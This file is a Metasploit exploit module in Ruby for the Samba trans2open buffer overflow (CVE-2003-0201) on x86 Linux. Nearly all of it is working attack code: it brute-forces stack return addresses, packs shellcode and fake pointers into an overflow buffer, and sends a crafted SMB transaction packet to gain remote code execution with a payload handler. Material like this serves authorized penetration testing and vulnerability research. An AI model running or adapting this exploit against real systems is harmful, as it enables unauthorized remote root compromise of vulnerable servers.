##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::SMB::Client
  include Msf::Exploit::Brute

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Samba trans2open Overflow (Linux x86)',
      'Description'    => %q{
          This exploits the buffer overflow found in Samba versions
        2.2.0 to 2.2.8. This particular module is capable of
        exploiting the flaw on x86 Linux systems that do not
        have the noexec stack option set.

        NOTE: Some older versions of RedHat do not seem to be vulnerable
        since they apparently do not allow anonymous access to IPC.
      },
      'Author'         => [ 'hdm', 'jduck' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2003-0201' ],
          [ 'OSVDB', '4469' ],
          [ 'BID', '7294' ],
          [ 'URL', 'http://seclists.org/bugtraq/2003/Apr/103' ]
        ],
      'Privileged'     => true,
      'Payload'        =>
        {
          'Space'    => 1024,
          'BadChars' => "\x00",
          'MinNops'  => 512,
          'StackAdjustment' => -3500
        },
      'Platform'       => 'linux',
      'Targets'        =>
        [
          # tested OK - jjd:
          # RedHat 7.2 samba-2.2.1a-4 - 0xbffffafc
          # RedHat 9.0 samba-2.2.7a-7.9.0 - 0xbfffddfc
          [ 'Samba 2.2.x - Bruteforce',
            {
              'PtrToNonZero' => 0xbffffff4, # near the bottom of the stack
              'Offset'       => 1055,
              'Bruteforce'   =>
                {
                  'Start' => { 'Ret' => 0xbffffdfc },
                  'Stop'  => { 'Ret' => 0xbfa00000 },
                  'Step'  => 256
                }
            }
          ],
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Apr 7 2003'
      ))

    register_options(
      [
        Opt::RPORT(139)
      ])
  end

  def brute_exploit(addrs)

    curr_ret = addrs['Ret']
    begin
      print_status("Trying return address 0x%.8x..." %  curr_ret)

      connect
      smb_login

      if ! @checked_peerlm
        if smb_peer_lm !~ /samba/i
          fail_with(Failure::NoTarget, "This target is not a Samba server (#{smb_peer_lm}")
        end

        if smb_peer_lm =~ /Samba [34]\./i
          fail_with(Failure::NoTarget, "This target is not a vulnerable Samba server (#{smb_peer_lm})")
        end
      end

      @checked_peerlm = true


      # This value *must* be 1988 to allow findrecv shellcode to work
      # XXX: I'm not sure the above comment is true...
      pattern = rand_text_english(1988)

      # See the OSX and Solaris versions of this module for additional
      # information.

      # eip_off = 1071 - RH7.2 compiled with -ggdb instead of -O/-O2
      # (rpmbuild -bp ; edited/reran config.status ; make)
      eip_off = target['Offset']
      ptr_to_non_zero = target['PtrToNonZero']

      # Stuff the shellcode into the request
      pattern[0, payload.encoded.length] = payload.encoded

      # We want test true here, so we overwrite conn with a pointer
      # to something non-zero.
      #
      # 222       if (IS_IPC(conn)) {
      # 223          return(ERROR(ERRSRV,ERRaccess));
      # 224       }
      pattern[eip_off + 4, 4] = [ptr_to_non_zero - 0x30].pack('V')

      # We want to avoid crashing on the following two derefences.
      #
      # 116     int error_packet(char *inbuf,char *outbuf,int error_class,uint32 error_code,int line)
      # 117     {
      # 118       int outsize = set_message(outbuf,0,0,True);
      # 119       int cmd = CVAL(inbuf,smb_com);
      pattern[eip_off + 8, 4] = [ptr_to_non_zero - 0x08].pack('V')
      pattern[eip_off + 12, 4] = [ptr_to_non_zero - 0x24].pack('V')

      # This stream covers the framepointer and the return address
      #pattern[1199, 400] = [curr_ret].pack('N') * 100
      pattern[eip_off, 4] = [curr_ret].pack('V')

      trans =
        "\x00\x04\x08\x20\xff\x53\x4d\x42\x32\x00\x00\x00\x00\x00\x00\x00"+
        "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00"+
        "\x64\x00\x00\x00\x00\xd0\x07\x0c\x00\xd0\x07\x0c\x00\x00\x00\x00"+
        "\x00\x00\x00\x00\x00\x00\x00\xd0\x07\x43\x00\x0c\x00\x14\x08\x01"+
        "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
        "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x90"+
        pattern

      # puts "press any key"; $stdin.gets

      sock.put(trans)
      handler

    rescue ::EOFError
    rescue ::Rex::Proto::SMB::Exceptions::LoginError, ::Interrupt, ::RuntimeError
      raise $!
    rescue ::Exception => e
      print_error("#{rhost} #{e}")
    end

    handler
    disconnect

  end
end
